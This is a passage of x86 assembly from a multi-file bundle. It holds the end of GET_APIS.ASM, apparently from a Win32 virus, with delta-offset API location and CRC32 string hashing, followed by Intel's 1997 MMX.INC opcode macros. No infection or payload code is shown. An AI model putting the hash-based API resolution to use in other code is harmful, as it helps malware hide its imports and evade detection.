mov ecx, [ebp+@904] ;
|
||
shl ecx, 2 ;
|
||
mov [edx+ecx], eax ;
|
||
dec [ebp+@901] ;
|
||
cmp [ebp+@901], 0 ;
|
||
je all_done ;
|
||
jmp continue_search ;
|
||
;
|
||
all_done: ;
|
||
add esp, 0Ch ;
|
||
popad ;
|
||
clc ;
|
||
ret ;
|
||
LocateApis endp ;
|
||
@901 dd 0 ;
|
||
@903 dd 0 ;
|
||
@904 dd 0
|
||
|
||
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
|
||
;Û General module handle retriving routine Û
|
||
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
|
||
;
|
||
; Entry: EDI = pointer to module name
|
||
;
|
||
; Return: EAX = module base address if success
|
||
; EAX = 0, CF set if fail
|
||
|
||
LocateModuleBase proc near ;
|
||
pushad ; save regs
|
||
push edi ; push name
|
||
call dword ptr [ebp+_LoadLibraryA] ; call LoadLibraryA
|
||
mov [esp.pop_eax], eax ;
|
||
popad ;
|
||
or eax, eax ;
|
||
jz notfoundmodule ;
|
||
clc ; success
|
||
ret ;
|
||
;
|
||
notfoundmodule: ;
|
||
stc ; fail
|
||
ret ;
|
||
LocateModuleBase endp ;
|
||
|
||
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
|
||
;Û CRC32 computer for strings Û
|
||
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
|
||
|
||
StringCRC32 proc near
|
||
; Input : ESI = address of 0 terminated string to calculate CRC32 for
|
||
; Output: EAX = CRC32
|
||
; From Prizzy's Crypto the idea of a string dedicated CRC32er
|
||
|
||
push edx ;
|
||
mov edx, mCRC32_init ;
|
||
;
|
||
CRC32_next_byte: ;
|
||
lodsb ;
|
||
or al, al ;
|
||
jz CRC32_finish ;
|
||
xor dl, al ;
|
||
mov al, 08h ;
|
||
;
|
||
CRC32_next_bit: ;
|
||
shr edx, 01h ;
|
||
jnc CRC32_no_change ;
|
||
xor edx, mCRC32 ;
|
||
;
|
||
CRC32_no_change: ;
|
||
dec al ;
|
||
jnz CRC32_next_bit ;
|
||
jmp CRC32_next_byte ;
|
||
;
|
||
CRC32_finish: ;
|
||
xchg eax, edx ;
|
||
pop edx ;
|
||
ret ;
|
||
StringCRC32 endp ;
|
||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[GET_APIS.ASM]ÄÄÄ
|
||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MMX.INC]ÄÄÄ
|
||
;****************************************************************************
|
||
;* *
|
||
;* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY *
|
||
;* KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE *
|
||
;* IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A PARTICULAR *
|
||
;* PURPOSE. *
|
||
;* *
|
||
;* Copyright (C) 1997 Intel Corporation. All Rights Reserved. *
|
||
;* *
|
||
;****************************************************************************
|
||
|
||
MMWORD TEXTEQU <DWORD>
|
||
opc_Rdpmc = 033H
|
||
opc_Emms = 077H
|
||
opc_Movd_ld = 06EH
|
||
opc_Movd_st = 07EH
|
||
opc_Movq_ld = 06FH
|
||
opc_Movq_st = 07FH
|
||
opc_Packssdw = 06BH
|
||
opc_Packsswb = 063H
|
||
opc_Packuswb = 067H
|
||
opc_Paddb = 0FCH
|
||
opc_Paddd = 0FEH
|
||
opc_Paddsb = 0ECH
|
||
opc_Paddsw = 0EDH
|
||
opc_Paddusb = 0DCH
|
||
opc_Paddusw = 0DDH
|
||
opc_Paddw = 0FDH
|
||
opc_Pand = 0DBH
|
||
opc_Pandn = 0DFH
|
||
opc_Pcmpeqb = 074H
|
||
opc_Pcmpeqd = 076H
|
||
opc_Pcmpeqw = 075H
|
||
opc_Pcmpgtb = 064H
|
||
opc_Pcmpgtd = 066H
|
||
opc_Pcmpgtw = 065H
|
||
opc_Pmaddwd = 0F5H
|
||
opc_Pmulhw = 0E5H
|
||
opc_Pmullw = 0D5H
|
||
opc_Por = 0EBH
|
||
opc_PSHimd = 072H
|
||
opc_PSHimq = 073H
|
||
opc_PSHimw = 071H
|
||
opc_Pslld = 0F2H
|
||
opc_Psllq = 0F3H
|
||
opc_Psllw = 0F1H
|
||
opc_Psrad = 0E2H
|
||
opc_Psraw = 0E1H
|
||
opc_Psrld = 0D2H
|
||
opc_Psrlq = 0D3H
|
||
opc_Psrlw = 0D1H
|
||
opc_Psubb = 0F8H
|
||
opc_Psubd = 0FAH
|
||
opc_Psubsb = 0E8H
|
||
opc_Psubsw = 0E9H
|
||
opc_Psubusb = 0D8H
|
||
opc_Psubusw = 0D9H
|
||
opc_Psubw = 0F9H
|
||
opc_Punpcklbw = 060H
|
||
opc_Punpckldq = 062H
|
||
opc_Punpcklwd = 061H
|
||
opc_Punpckhbw = 068H
|
||
opc_Punpckhdq = 06AH
|
||
opc_Punpckhwd = 069H
|
||
opc_Pxor = 0EFH
|
||
|
||
.486P
|
||
|
||
|
||
; ALIAS R# to MM# registers
|
||
|
||
DefineMMxRegs Macro
|
||
IFDEF APP_16BIT
|
||
MM0 TEXTEQU <AX>
|
||
MM1 TEXTEQU <CX>
|
||
MM2 TEXTEQU <DX>
|
||
MM3 TEXTEQU <BX>
|
||
MM4 TEXTEQU <SP>
|
||
MM5 TEXTEQU <BP>
|
||
MM6 TEXTEQU <SI>
|
||
MM7 TEXTEQU <DI>
|
||
|
||
mm0 TEXTEQU <AX>
|
||
mm1 TEXTEQU <CX>
|
||
mm2 TEXTEQU <DX>
|
||
mm3 TEXTEQU <BX>
|
||
mm4 TEXTEQU <SP>
|
||
mm5 TEXTEQU <BP>
|
||
mm6 TEXTEQU <SI>
|
||
mm7 TEXTEQU <DI>
|
||
|
||
Mm0 TEXTEQU <AX>
|
||
Mm1 TEXTEQU <CX>
|
||
Mm2 TEXTEQU <DX>
|
||
Mm3 TEXTEQU <BX>
|
||
Mm4 TEXTEQU <SP>
|
||
Mm5 TEXTEQU <BP>
|
||
Mm6 TEXTEQU <SI>
|
||
Mm7 TEXTEQU <DI>
|
||
|
||
mM0 TEXTEQU <AX>
|
||
mM1 TEXTEQU <CX>
|
||
mM2 TEXTEQU <DX>
|
||
mM3 TEXTEQU <BX>
|
||
mM4 TEXTEQU <SP>
|
||
mM5 TEXTEQU <BP>
|
||
mM6 TEXTEQU <SI>
|
||
mM7 TEXTEQU <DI>
|
||
|
||
ELSE
|
||
MM0 TEXTEQU <EAX>
|
||
MM1 TEXTEQU <ECX>
|
||
MM2 TEXTEQU <EDX>
|
||
MM3 TEXTEQU <EBX>
|
||
MM4 TEXTEQU <ESP>
|
||
MM5 TEXTEQU <EBP>
|
||
MM6 TEXTEQU <ESI>
|
||
MM7 TEXTEQU <EDI>
|
||
|
||
mm0 TEXTEQU <EAX>
|
||
mm1 TEXTEQU <ECX>
|
||
mm2 TEXTEQU <EDX>
|
||
mm3 TEXTEQU <EBX>
|
||
mm4 TEXTEQU <ESP>
|
||
mm5 TEXTEQU <EBP>
|
||
mm6 TEXTEQU <ESI>
|
||
mm7 TEXTEQU <EDI>
|
||
|
||
Mm0 TEXTEQU <EAX>
|
||
Mm1 TEXTEQU <ECX>
|
||
Mm2 TEXTEQU <EDX>
|
||
Mm3 TEXTEQU <EBX>
|
||
Mm4 TEXTEQU <ESP>
|
||
Mm5 TEXTEQU <EBP>
|
||
Mm6 TEXTEQU <ESI>
|
||
Mm7 TEXTEQU <EDI>
|
||
|
||
mM0 TEXTEQU <EAX>
|
||
mM1 TEXTEQU <ECX>
|
||
mM2 TEXTEQU <EDX>
|
||
mM3 TEXTEQU <EBX>
|
||
mM4 TEXTEQU <ESP>
|
||
mM5 TEXTEQU <EBP>
|
||
mM6 TEXTEQU <ESI>
|
||
mM7 TEXTEQU <EDI>
|
||
ENDIF
|
||
EndM
|
||
|
||
; ALIAS R# to MM# registers
|
||
DefineMMxNUM Macro
|
||
MM0 TEXTEQU <0>
|
||
MM1 TEXTEQU <0>
|
||
MM2 TEXTEQU <0>
|
||
MM3 TEXTEQU <0>
|
||
MM4 TEXTEQU <0>
|
||
MM5 TEXTEQU <0>
|
||
MM6 TEXTEQU <0>
|
||
MM7 TEXTEQU <0>
|
||
|
||
mm0 TEXTEQU <0>
|
||
mm1 TEXTEQU <0>
|
||
mm2 TEXTEQU <0>
|
||
mm3 TEXTEQU <0>
|
||
mm4 TEXTEQU <0>
|
||
mm5 TEXTEQU <0>
|
||
mm6 TEXTEQU <0>
|
||
mm7 TEXTEQU <0>
|
||
|
||
Mm0 TEXTEQU <0>
|
||
Mm1 TEXTEQU <0>
|
||
Mm2 TEXTEQU <0>
|
||
Mm3 TEXTEQU <0>
|
||
Mm4 TEXTEQU <0>
|
||
Mm5 TEXTEQU <0>
|
||
Mm6 TEXTEQU <0>
|
||
Mm7 TEXTEQU <0>
|
||
|
||
mM0 TEXTEQU <0>
|
||
mM1 TEXTEQU <0>
|
||
mM2 TEXTEQU <0>
|
||
mM3 TEXTEQU <0>
|
||
mM4 TEXTEQU <0>
|
||
mM5 TEXTEQU <0>
|
||
mM6 TEXTEQU <0>
|
||
mM7 TEXTEQU <0>
|
||
EndM
|
||
|
||
|
||
|
||
UnDefineMMxRegs Macro
|
||
MM0 TEXTEQU <MM0>
|
||
MM1 TEXTEQU <MM1>
|
||
MM2 TEXTEQU <MM2>
|
||
MM3 TEXTEQU <MM3>
|
||
MM4 TEXTEQU <MM4>
|
||
MM5 TEXTEQU <MM5>
|
||
MM6 TEXTEQU <MM6>
|
||
MM7 TEXTEQU <MM7>
|
||
|
||
mm0 TEXTEQU <mm0>
|
||
mm1 TEXTEQU <mm1>
|
||
mm2 TEXTEQU <mm2>
|
||
mm3 TEXTEQU <mm3>
|
||
mm4 TEXTEQU <mm4>
|
||
mm5 TEXTEQU <mm5>
|
||
mm6 TEXTEQU <mm6>
|
||
mm7 TEXTEQU <mm7>
|
||
|
||
Mm0 TEXTEQU <Mm0>
|
||
Mm1 TEXTEQU <Mm1>
|
||
Mm2 TEXTEQU <Mm2>
|
||
Mm3 TEXTEQU <Mm3>
|
||
Mm4 TEXTEQU <Mm4>
|
||
Mm5 TEXTEQU <Mm5>
|
||
Mm6 TEXTEQU <Mm6>
|
||
Mm7 TEXTEQU <Mm7>
|
||
|
||
mM0 TEXTEQU <mM0>
|
||
mM1 TEXTEQU <mM1>
|
||
mM2 TEXTEQU <mM2>
|
||
mM3 TEXTEQU <mM3>
|
||
mM4 TEXTEQU <mM4>
|
||
mM5 TEXTEQU <mM5>
|
||
mM6 TEXTEQU <mM6>
|
||
mM7 TEXTEQU <mM7>
|
||
EndM
|
||
|
||
|
||
rdpmc macro
|
||
db 0fh, opc_Rdpmc
|
||
endm
|
||
|
||
emms macro
|
||
db 0fh, opc_Emms
|
||
endm
|
||
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
movd1 macro dst:req, src:req ; MMX->EXX
|
||
local x, y
|
||
DefineMMxNUM
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg dst, src
|
||
y:
|
||
org x+1
|
||
byte opc_Movd_st
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
movd2 macro dst:req, src:req ; MEM || EXX || MMX -> MMX
|
||
local x, y
|
||
DefineMMxNUM
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Movd_ld
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
movd3 macro dst:req, src:req ; MMX -> MEM
|
||
local x, y
|
||
DefineMMxNUM
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg dst, src
|
||
y:
|
||
org x+1
|
||
byte opc_Movd_st
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
movdt macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Movd_ld
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
movdf macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg dst, src
|
||
y:
|
||
org x+1
|
||
byte opc_Movd_st
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
movq1 macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Movq_ld
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
movq2 macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg dst, src
|
||
y:
|
||
org x+1
|
||
byte opc_Movq_st
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
packssdw macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Packssdw
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
packsswb macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Packsswb
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
packuswb macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Packuswb
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
paddd macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Paddd
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
paddsb macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Paddsb
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
paddsw macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Paddsw
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
paddusb macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Paddusb
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
paddusw macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Paddusw
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
paddb macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Paddb
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
paddw macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Paddw
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
pand macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Pand
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
pandn macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Pandn
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
pcmpeqb macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Pcmpeqb
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
pcmpeqd macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Pcmpeqd
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
pcmpeqw macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Pcmpeqw
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
pcmpgtb macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Pcmpgtb
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
pcmpgtd macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Pcmpgtd
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
pcmpgtw macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Pcmpgtw
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
pmaddwd macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Pmaddwd
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
pmulhw macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Pmulhw
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
pmullw macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Pmullw
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
por macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Por
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
pslld1 macro dst:req, src:req ;; constant
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
btr dst, src
|
||
y:
|
||
org x+1
|
||
byte opc_PSHimd
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
pslld2 macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Pslld
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
|
||
psllw1 macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
btr dst, src
|
||
y:
|
||
org x+1
|
||
byte opc_PSHimw
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
psllw2 macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Psllw
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
|
||
psrad1 macro dst:req, src:req ;;immediate
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
bt dst, src
|
||
y:
|
||
org x+1
|
||
byte opc_PSHimd
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
psrad2 macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Psrad
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
psraw1 macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
bt dst, src
|
||
y:
|
||
org x+1
|
||
byte opc_PSHimw
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
psraw2 macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Psraw
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
psrld1 macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg dst,MM2
|
||
byte src
|
||
y:
|
||
org x+1
|
||
byte opc_PSHimd
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
psrld2 macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Psrld
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
psrlq1 macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg dst,MM2
|
||
byte src
|
||
y:
|
||
org x+1
|
||
byte opc_PSHimq
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
psrlq2 macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Psrlq
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
psllq1 macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
btr dst, src
|
||
y:
|
||
org x+1
|
||
byte opc_PSHimq
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
psllq2 macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Psllq
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
psrlw1 macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg dst,MM2
|
||
byte src
|
||
y:
|
||
org x+1
|
||
byte opc_PSHimw
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
psrlw2 macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Psrlw
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
psubsb macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Psubsb
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
psubsw macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Psubsw
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
psubusb macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Psubusb
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
psubusw macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Psubusw
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
psubb macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Psubb
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
psubw macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Psubw
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
punpcklbw macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Punpcklbw
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
punpckhdq macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Punpckhdq
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
punpcklwd macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Punpcklwd
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
punpckhbw macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Punpckhbw
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
punpckldq macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Punpckldq
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
punpckhwd macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Punpckhwd
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
pxor macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Pxor
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
|
||
psubd macro dst:req, src:req
|
||
local x, y
|
||
DefineMMxRegs
|
||
x:
|
||
cmpxchg src, dst
|
||
y:
|
||
org x+1
|
||
byte opc_Psubd
|
||
org y
|
||
UnDefineMMxRegs
|
||
endm
|
||
